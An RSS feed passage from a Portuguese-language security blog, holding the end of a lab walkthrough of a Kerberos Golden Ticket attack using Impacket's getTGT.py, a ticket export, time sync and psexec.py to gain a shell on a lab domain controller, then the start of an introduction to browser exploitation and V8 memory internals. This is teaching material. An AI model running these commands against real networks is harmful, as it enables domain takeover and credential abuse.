				srcset=&#34;https://harddisk.com.br/p/pt-br-golden-ticket/Untitled_1_huaff5191a1effe3b16c912d7659138ed7_18540_480x0_resize_box_3.png 480w, https://harddisk.com.br/p/pt-br-golden-ticket/Untitled_1_huaff5191a1effe3b16c912d7659138ed7_18540_1024x0_resize_box_3.png 1024w&#34;
				width=&#34;675&#34;
				height=&#34;64&#34;
				loading=&#34;lazy&#34;
				alt=&#34;exemplo getTGT&#34;&gt;
		&lt;/a&gt;
		
		&lt;figcaption&gt;exemplo getTGT&lt;/figcaption&gt;
		
	&lt;/figure&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#python2 getTGT.py -hashes :acd9325ab546d6870e3d490684cfe305 relay.uhclabs/svc_webapp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;python2&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;getTGT&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;py&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;hashes&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HASH_DO_USUARIO&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DOMAIN&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;USUARIO&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Impacket&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;v0&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;.9.23&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Copyright&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2021&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SecureAuth&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Saving&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ticket&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;svc_webapp&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Com isso, agora nós exportamos para nosso &lt;a class=&#34;link&#34; href=&#34;http://localhost&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;localhost&lt;/a&gt; o Ticket gerado pelo script com o seguinte comando:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#export KRB5CCNAME=svc_webapp.ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;export&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;KRB5CCNAME&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;TICKET_GERADO
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agora, nós sincronizamos nosso horário com o da máquina com esse comando (tal fato se deve pelo &lt;strong&gt;Timestamp&lt;/strong&gt; do Ticket gerado. É este Timestamp que vai realizar a marcação do tempo atual do servidor, por isso a sincronização com o horário.):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# sudo ntpdate 172.31.28.153&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ntpdate IP_DA_MAQUINA_ALVO
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Abaixo, especificamos o domínio da máquina, o usuário que forjamos o Ticket, o nome do &lt;strong&gt;Domain Controller&lt;/strong&gt; (DC) e dois argumentos essenciais: “-k” e “-no-pass”. O “-k” vem de “&lt;strong&gt;Kerberos Authentication&lt;/strong&gt;”, onde o mesmo vai utilizar o “.ccache” que nós geramos com o script &lt;strong&gt;getTGT.py&lt;/strong&gt;. E o “-no-pass” simplesmente é para não perguntar a senha.&lt;/p&gt;
&lt;p&gt;E finalmente, vamos pegar a shell! Vamos utilizar o psexec e passar o nosso Ticket forjado para nos autenticarmos no serviço!&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#python2 psexec.py relay.uhclabs/svc_webapp@EC2AMAZ-HDQ6ICO.RELAY.UHCLABS -k -no-pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;python2&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;psexec&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;py&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DOMAIN&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;USUARIO&lt;/span&gt;&lt;span class=&#34;nd&#34;&gt;@DOMAIN_CONTROLLER&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;k&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;no&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Impacket&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;v0&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;.9.23&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Copyright&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2021&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SecureAuth&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Requesting&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;shares&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;on&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EC2AMAZ&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HDQ6ICO&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RELAY&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;UHCLABS&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.....&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Found&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;writable&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;share&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ADMIN&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Uploading&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;file&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SgxvJTis&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Opening&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SVCManager&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;on&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EC2AMAZ&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HDQ6ICO&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RELAY&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;UHCLABS&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.....&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Creating&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;service&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;apKU&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;on&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EC2AMAZ&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HDQ6ICO&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RELAY&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;UHCLABS&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.....&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Starting&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;service&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;apKU&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.....&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Press&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;help&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;extra&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;shell&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;commands&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;E assim, conseguimos realizar um ataque de Golden Ticket!&lt;/p&gt;
&lt;p&gt;&lt;figure style=&#34;flex-grow: 167; flex-basis: 401px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-golden-ticket/Untitled_2.png&#34; data-size=&#34;699x418&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-golden-ticket/Untitled_2.png&#34;
				srcset=&#34;https://harddisk.com.br/p/pt-br-golden-ticket/Untitled_2_hu83c8f5924f9fb605e0ed03fbb7acd8c7_122349_480x0_resize_box_3.png 480w, https://harddisk.com.br/p/pt-br-golden-ticket/Untitled_2_hu83c8f5924f9fb605e0ed03fbb7acd8c7_122349_1024x0_resize_box_3.png 1024w&#34;
				width=&#34;699&#34;
				height=&#34;418&#34;
				loading=&#34;lazy&#34;
				alt=&#34;exploit final&#34;&gt;
		&lt;/a&gt;
		
		&lt;figcaption&gt;exploit final&lt;/figcaption&gt;
		
	&lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://github.com/march0s1as&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;march0&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>[PT-BR] Browser Exploitation</title>
        <link>https://harddisk.com.br/p/pt-br-browser-exploitation/</link>
        <pubDate>Mon, 11 Oct 2021 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-browser-exploitation/</guid>
        <description>&lt;img src="https://harddisk.com.br/p/pt-br-browser-exploitation/banner.png" alt="Featured image of post [PT-BR] Browser Exploitation" /&gt;&lt;blockquote&gt;
&lt;p&gt;Essa será uma introdução ao tema de browser exploitation, pórem é recomendado
um conhecimento prévio de C, javascript e uma boa noção de ponteiros.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id=&#34;browser-exploitation&#34;&gt;Browser Exploitation&lt;/h1&gt;
&lt;p&gt;A ideia principal para a exploração de navegadores continua sendo a mesma para a exploração de binários normais, o objetivo é sempre achar um ou mais bugs, os quais serão usados para conseguir duas primitivas essenciais, &lt;code&gt;arbitrary read&lt;/code&gt; e &lt;code&gt;arbitrary write&lt;/code&gt;, com isso o próximo passo seria um desvio de fluxo para um código malicioso,  podendo ser um shellcode ou uma ropchain.&lt;br&gt;
pórem as técnicas e algumas formas de obter essas primitivas podem se diferenciar na exploração de browsers.&lt;/p&gt;
&lt;p&gt;Cada navegador tem sua implementação única e com suas peculiaridades, vou fazer um overview sobre os principais componentes do navegador e após isso me aprofundar no chrome, por ser um dos mais usados.&lt;/p&gt;
&lt;h1 id=&#34;browser-internals&#34;&gt;Browser internals&lt;/h1&gt;
&lt;h2 id=&#34;como-as-coisas-funcionam&#34;&gt;Como as coisas funcionam&lt;/h2&gt;
&lt;p&gt;De forma &lt;em&gt;abstrata&lt;/em&gt;, os navegadores se organizam mais ou menos dessa forma:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.ibb.co/YRTjV2r/browser-arch.png&#34; alt=&#34;Exemplo de arquitetura&#34;  /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;User Interface&lt;/strong&gt;&lt;br&gt;
Essa é a interface de comunicação com o usuário final, ou seja, barra de pesquisa, botões, favorito, etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Browser Engine&lt;/strong&gt;&lt;br&gt;
O Browser Engine tem a função de comunicação entre os outros componentes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rendering Engine&lt;/strong&gt;&lt;br&gt;
De forma autodescritiva, essa engine tem a função de renderizar oque está sendo requisitado, HTML, XML, PDF e assim por diante.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Networking&lt;/strong&gt;&lt;br&gt;
Não diferente do último tópico, esse componente também é bem autodescritiva, sua função é basicamente lidar com conexões HTTP, TCP, WebSocket e outros protocolos.&lt;br&gt;
Também faz parte desse módulo o cache de informações para diminuir o tráfego necessário.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UI Backend&lt;/strong&gt;&lt;br&gt;
Usada para criar componentes visuais independentes de SO, como &lt;code&gt;inputs&lt;/code&gt; ou &lt;code&gt;buttons&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JavaScript Engine&lt;/strong&gt;&lt;br&gt;
Esse módulo é responsável por parsear e executar o javascript, esse será o alvo de maiores estudos nesse post.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Storage&lt;/strong&gt;&lt;br&gt;
Essa é a camada de persistência. Cookies, localStorage, cache, indexDB e semelhantes estarão aqui.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Esse foi um overview rápido para podermos entrar em uma módulo especifico, o &lt;code&gt;JavaScript Engine&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;javascript-engine-v8-internal&#34;&gt;JavaScript Engine (V8 internal)&lt;/h3&gt;
&lt;p&gt;Cada navegador possui seu próprio Engine, então eu usarei o &lt;code&gt;v8&lt;/code&gt;, engine do chrome, para conseguir dar exemplos mais concretos.&lt;/p&gt;
&lt;h4 id=&#34;objetos-e-ponteiros&#34;&gt;Objetos e Ponteiros&lt;/h4&gt;
&lt;p&gt;No v8, todos os valores são armazenados na heap, independente do seu tipo (strings, arrays, números e etc), isso significa que tudo é representado como ponteiros e como uma tentativa de poupar memoria o v8 usa uma técnica chamada &lt;code&gt;compressão de ponteiro&lt;/code&gt;, a qual tem uma função bem autodescritiva, comprimir o tamanho de um ponteiro.
Mas como isso é possível? Segundo as palavras do próprio &lt;a class=&#34;link&#34; href=&#34;https://v8.dev/blog/pointer-compression#:~:text=Pointer%20Compression%20is%20one%20of,from%20some%20%E2%80%9Cbase%E2%80%9D%20address.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;blog do v8&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A compactação de ponteiro é um dos vários esforços em andamento no V8 para reduzir o consumo de memória. A ideia é muito simples: em vez de armazenar ponteiros de 64 bits, podemos armazenar deslocamentos de 32 bits de algum endereço “base”.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Parte dessa implementação usa outra técnica chamada de &lt;code&gt;pointer tagging&lt;/code&gt;, onde para diferenciar um endereço de um Smi (small integer) existe uma &amp;ldquo;tag&amp;rdquo;, isso é representado como um bit &lt;em&gt;1&lt;/em&gt; no LSB.
Dessa forma, ponteiros se parecem com isso na memória:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// pointer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x02ae456d6e91&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// endereço para onde aponta
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x02ae456d6e90&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;arrays-na-memoria&#34;&gt;Arrays na memoria&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// var array = [1, 2, 3, 4]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;       &lt;span class=&#34;nx&#34;&gt;A&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;JSArray&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;object&lt;/span&gt;                      &lt;span class=&#34;nx&#34;&gt;A&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;FixedArray&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;object&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;+-----------------------------+&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;+------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                             &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;         &lt;span class=&#34;nx&#34;&gt;Map&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Pointer&lt;/span&gt;         &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;+--&amp;gt;+&lt;/span&gt;         &lt;span class=&#34;nx&#34;&gt;Map&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Pointer&lt;/span&gt;          &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                             &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;+-----------------------------+&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;+------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                             &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;      &lt;span class=&#34;nx&#34;&gt;Properties&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Pointer&lt;/span&gt;     &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;     &lt;span class=&#34;nx&#34;&gt;Backing&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Store&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Length&lt;/span&gt;     &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                             &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;+-----------------------------+&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;+------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                             &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;       &lt;span class=&#34;nx&#34;&gt;Elements&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Pointer&lt;/span&gt;      &lt;span class=&#34;o&#34;&gt;+---+&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;          &lt;span class=&#34;mh&#34;&gt;0x00000002&lt;/span&gt;          &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;index&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                             &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;+-----------------------------+&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;+------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                             &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;       &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;                              &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;
